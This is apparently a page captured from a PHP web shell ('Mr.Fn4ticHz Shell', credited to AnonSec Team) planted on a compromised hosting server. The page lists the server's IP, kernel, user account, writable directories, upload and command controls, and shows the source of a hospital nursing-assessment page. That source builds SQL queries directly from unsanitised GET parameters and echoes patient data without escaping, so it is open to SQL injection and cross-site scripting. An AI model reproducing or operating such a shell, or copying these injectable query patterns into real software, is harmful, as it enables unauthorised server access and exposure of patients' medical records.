Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 18.222.93.132
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/public_html/login.easenup.in/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/btiyawmy/public_html/login.easenup.in/tat_Nursing_Assessent.php
 <?php
session_start();
require_once('../DBManager.php');
require_once('../LoginManager.php');
require_once('../patientmanager.php');
include 'workdeskmenu.php';
include 'header.php';
include("dbconnection.php");
?>
   
   <div class='content-wrapper'>
    <!-- Content Header (Page header) -->
    <section class='content-header'>


<?php
session_start();
include("dbconnection.php");
require_once('../DBManager.php');
require_once("../LoginManager.php");
require_once('../patientmanager.php');
?>
 
<!DOCTYPE html>
<html>  <head>
    <title>Medicine in Stock</title>
    <style>
      .modal {
        display: none;
        position: fixed;
        z-index: 8;
        left: 0;
        top: 0;
        width: 100%;
        height: 100%;
        overflow: auto;
        background-color: rgb(0, 0, 0);
        background-color: rgba(0, 0, 0, 0.4);
      }
      .modal-content {
        margin: 50px auto;
        border: 1px solid #999;
        width: 60%;
      }
      h2,p {
        margin: 0 0 20px;
        font-weight: 400;
  
      }     
     .form1 {
        padding: 25px;
        margin: 25px;
        box-shadow: 0 2px 5px #f5f5f5;
        background: #eee;
      }
      input,
      textarea, select {
        width: 100%;
        padding: 6px;
        margin-bottom: 20px;
        border: 1px solid #1c87c9;
        outline: none;
      }
      .contact-form button {
        width: 100%;
        padding: 10px;
        border: none;
        background: #1c87c9;
        font-size: 16px;
        font-weight: 400;
        color: #fff;
      }
      button:hover {
        background: #2371a0;
      }
      .close {
        color: #aaa;
        float: right;
        font-size: 58px;
        font-weight: bold;
      }
      .close:hover,
      .close:focus {
        color: black;
        text-decoration: none;
        cursor: pointer;
      }
      button.button {
        display: inline-block;
       
        border-bottom: #02274a 1px solid;
     
        font-size: 19px;
        cursor: pointer;
      }
      
      button.button:hover {
    
        border-bottom: #a99567 1px solid;
        color: #a99567;
      }
      
    </style>
      <style>

 
/* Automatic Serial Number Row */
.css-serial {
 counter-reset: serial-number; /* Set the serial number counter to 0 */
}
.css-serial td:first-child:before {
 counter-increment: serial-number; /* Increment the serial number counter */
 content: counter(serial-number); /* Display the counter */
}
</style>
  </head>
  <body>
      
   
          
        
    <h2 Align="center">Nursing Assessent</h2>
    
   <div id="text2"  >
          
                
                 <form action="" method="GET">
                            <div class="row">
                                <div class="col-md-4">
                                    <div class="form-group">
                                        <label>From Date</label>
                                        <input type="date" name="from_date" value="<?php if(isset($_GET['from_date'])){ echo $_GET['from_date']; } ?>" class="form-control">
                                    </div>
                                </div>
                                <div class="col-md-4">
                                    <div class="form-group">
                                        <label>To Date</label>
                                        <input type="date" name="to_date" value="<?php if(isset($_GET['to_date'])){ echo $_GET['to_date']; } ?>" class="form-control">
                                    </div>
                                </div>
                                
             
 
                               
                                <div class="col-md-4">
                                    <div class="form-group">
                                    <br>
                                      <button type="submit" class="btn btn-primary">Apply</button>
                                    </div>
                                </div>
                            </div>
                        </form>
                          <button style='height:40px;width:200px' onclick="location.href='tat_Nursing_Assessent.php'" type="button"> <span style="color:white">    Reset</span></button>
                              
                        </div>  
    
    
   
        <table id="myTable"  class="order-table table table-bordered table-hover css-serial">
                  <thead>
         
						<tr>
						    <th>SR No</th>
						    <th> Details</th>
						     <th>Duration</th>
							<th>Action</th>
						</tr>
				
      
                  </thead>
<?php

	if (isset($_GET['page_no']) && $_GET['page_no']!="") {
	$page_no = $_GET['page_no'];
	} else {
		$page_no = 1;
        }
 
	$total_records_per_page = 10;
    $offset = ($page_no-1) * $total_records_per_page;
	$previous_page = $page_no - 1;
	$next_page = $page_no + 1;
	$adjacents = "2"; 
 	    
include("dbconnection.php");
require_once('../DBManager.php');
require_once('../LoginManager.php');
$narayan=LoginManager::currentUser();
$usertype=LoginManager::getUserTypeByuname("$narayan");
	$sql1 ="SELECT * FROM site_users WHERE userno='$usertype'";
		$qsql1 = mysqli_query($con,$sql1);
		if($re = mysqli_fetch_array($qsql1))
		{
		   if(isset($_GET['from_date']) && isset($_GET['to_date'])){
                                    $from_date = $_GET['from_date'];
                                    $to_date = $_GET['to_date'];
                                   }

  $result_count = mysqli_query($con,"SELECT COUNT(*) As total_records FROM addaspatient WHERE  hospitalid='$re[entered_by]' AND typevisit='IPD'");
	$total_records = mysqli_fetch_array($result_count);
	$total_records = $total_records['total_records'];
    $total_no_of_pages = ceil($total_records / $total_records_per_page);
	$second_last = $total_no_of_pages - 1; // total page minus 1  		    
		    
		    
$sql ="SELECT * FROM `addaspatient` WHERE hospitalid='$re[entered_by]' AND typevisit='IPD' order by prescriptionid DESC LIMIT $offset, $total_records_per_page";
$qsql = mysqli_query($con,$sql);
while($rs = mysqli_fetch_array($qsql))
{
    
 //$discharge ="SELECT * FROM `discharge` WHERE hospital_id='$re[entered_by]' AND patientid='$rs[patientid]' AND prescriptionid='$rs[prescriptionid]' AND  DurationDate BETWEEN '$from_date' AND '$to_date'";

$discharge ="SELECT * FROM `discharge` WHERE  patientid='$rs[patientid]' AND prescriptionid='$rs[prescriptionid]'";

$qdischarge= mysqli_query($con,$discharge);
while($rdischarge = mysqli_fetch_array($qdischarge))
{   
    
 $Patient=$con->query("SELECT * FROM `patient` WHERE patientid=$rs[patientid]");
 $RowPatient= $Patient->fetch_array();
 
 
   $RFA=$con->query("SELECT * FROM `request_for_admission` WHERE patientid='$rs[patientid]' AND prescriptionid='$rs[prescriptionid]'"); 
   $RowRFA=$RFA->fetch_assoc();
		 
		 
   $bed=$con->query("SELECT * FROM `bedindex` WHERE bedid='$RowRFA[Bed]'");
   $RowBed=$bed->fetch_assoc();
   
   
   $ward=$con->query("SELECT * FROM `ward` WHERE wardid='$RowBed[wardid]' AND adminid='$re[entered_by]'");
   $RowWard=$ward->fetch_assoc();
   
   
   $ward=$con->query("SELECT * FROM `ward` WHERE wardid='$RowBed[wardid]' AND adminid='$re[entered_by]'");
   $RowWard=$ward->fetch_assoc();
   
   $sql2 ="SELECT * FROM tat  WHERE  patientid='$rdischarge[patientid]' AND prescriptionid='$rdischarge[prescriptionid]'";
		$qsql2 = mysqli_query($con,$sql2);
		$rs = mysqli_fetch_array($qsql2);
		
		
   
    
   
  $datetime_1 = 'March 28, 2024 / 03:57:32 PM'; 
$datetime_2 = 'March 28, 2024 / 04:57:32 PM'; 
 
$from_time = strtotime($datetime_1); 
$to_time = strtotime($datetime_2); 
$diff_minutes = round(abs($from_time - $to_time) / 60,2). " minutes";


//$date = date('h:i:s a', time());
            echo " <tbody>
            <tr>    
            <td>&nbsp;</td>
            <td> 
            
          <b>UHID : </b>$rs[patientid]<br>
            
            <b>Name : </b>$RowPatient[patientname] <br>
            
            
          
            </td><td>
            ";
         
$sql2 ="SELECT * FROM nurse_note WHERE patientid='$RowPatient[patientid]' AND prescriptionid='$rs[prescriptionid]'";
$qsql2 = mysqli_query($con,$sql2);
while($rs2 = mysqli_fetch_array($qsql2))
{
 
    
 ?>
 

              
                  <?php 
  
  
echo "<br>
<b>Time</b>:- $rs2[start_time] <br>
$diff_minutes

<b>Ward</b>:- $RowWard[ward_name] ( $RowWard[ward_type] )<br>
<b>Bed</b>:- $RowBed[bedname]<br>";

 if($rs[status]=='1'){
              
             echo "<b>Remark :</B> $rs[solution] ";
              }else{
                  
              }   

echo "";



?>
 
<?php

}
   
 ?>
 
 <?php
 echo"</td><td>
 
 <a href='updateRemark.php?patientid=$RowPatient[patientid]&prescriptionid=$rs[prescriptionid]'> <i class='fa fa-eye' style='color:green; font-size:20px;'></i></a>
 

 
 
</td>
              					
          </tr>                   
          
          ";

}} }

?>    </tbody>
  <tfoot>
          </tfoot>
        </table>
       <div style='padding: 10px 20px 0px; border-top: dotted 1px #CCC;'>
<strong>Page <?php echo $page_no." of ".$total_no_of_pages; ?></strong>
</div>
 
<ul class="pagination">
    
	<li <?php if($page_no <= 1){ echo "class='disabled'"; } ?>>
	<a <?php if($page_no > 1){ echo "href='?page_no=$previous_page'"; } ?>>Previous</a>
	</li>
       
    <?php 
	if ($total_no_of_pages <= 10){  	 
		for ($counter = 1; $counter <= $total_no_of_pages; $counter++){
			if ($counter == $page_no) {
		   echo "<li class='active'><a>$counter</a></li>";	
				}else{
           echo "<li><a href='?page_no=$counter'>$counter</a></li>";
				}
        }
	}
	elseif($total_no_of_pages > 10){
		
	if($page_no <= 4) {			
	 for ($counter = 1; $counter < 8; $counter++){		 
			if ($counter == $page_no) {
		   echo "<li class='active'><a>$counter</a></li>";	
				}else{
           echo "<li><a href='?page_no=$counter'>$counter</a></li>";
				}
        }
		echo "<li><a>...</a></li>";
		echo "<li><a href='?page_no=$second_last'>$second_last</a></li>";
		echo "<li><a href='?page_no=$total_no_of_pages'>$total_no_of_pages</a></li>";
		}
 
	 elseif($page_no > 4 && $page_no < $total_no_of_pages - 4) {		 
		echo "<li><a href='?page_no=1'>1</a></li>";
		echo "<li><a href='?page_no=2'>2</a></li>";
        echo "<li><a>...</a></li>";
        for ($counter = $page_no - $adjacents; $counter <= $page_no + $adjacents; $counter++) {			
           if ($counter == $page_no) {
		   echo "<li class='active'><a>$counter</a></li>";	
				}else{
           echo "<li><a href='?page_no=$counter'>$counter</a></li>";
				}                  
       }
       echo "<li><a>...</a></li>";
	   echo "<li><a href='?page_no=$second_last'>$second_last</a></li>";
	   echo "<li><a href='?page_no=$total_no_of_pages'>$total_no_of_pages</a></li>";      
            }
		
		else {
        echo "<li><a href='?page_no=1'>1</a></li>";
		echo "<li><a href='?page_no=2'>2</a></li>";
        echo "<li><a>...</a></li>";
 
        for ($counter = $total_no_of_pages - 6; $counter <= $total_no_of_pages; $counter++) {
          if ($counter == $page_no) {
		   echo "<li class='active'><a>$counter</a></li>";	
				}else{
           echo "<li><a href='?page_no=$counter'>$counter</a></li>";
				}                   
                }
            }
	}
?>
    
	<li <?php if($page_no >= $total_no_of_pages){ echo "class='disabled'"; } ?>>
	<a <?php if($page_no < $total_no_of_pages) { echo "href='?page_no=$next_page'"; } ?>>Next</a>
	</li>
    <?php if($page_no < $total_no_of_pages){
		echo "<li><a href='?page_no=$total_no_of_pages'>Last &rsaquo;&rsaquo;</a></li>";
		} ?>
</ul>
  </body>
</html>

        
          
 
         
 <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/1.4.3/jquery.min.js"></script>

Anon7 - 2022
AnonSec Team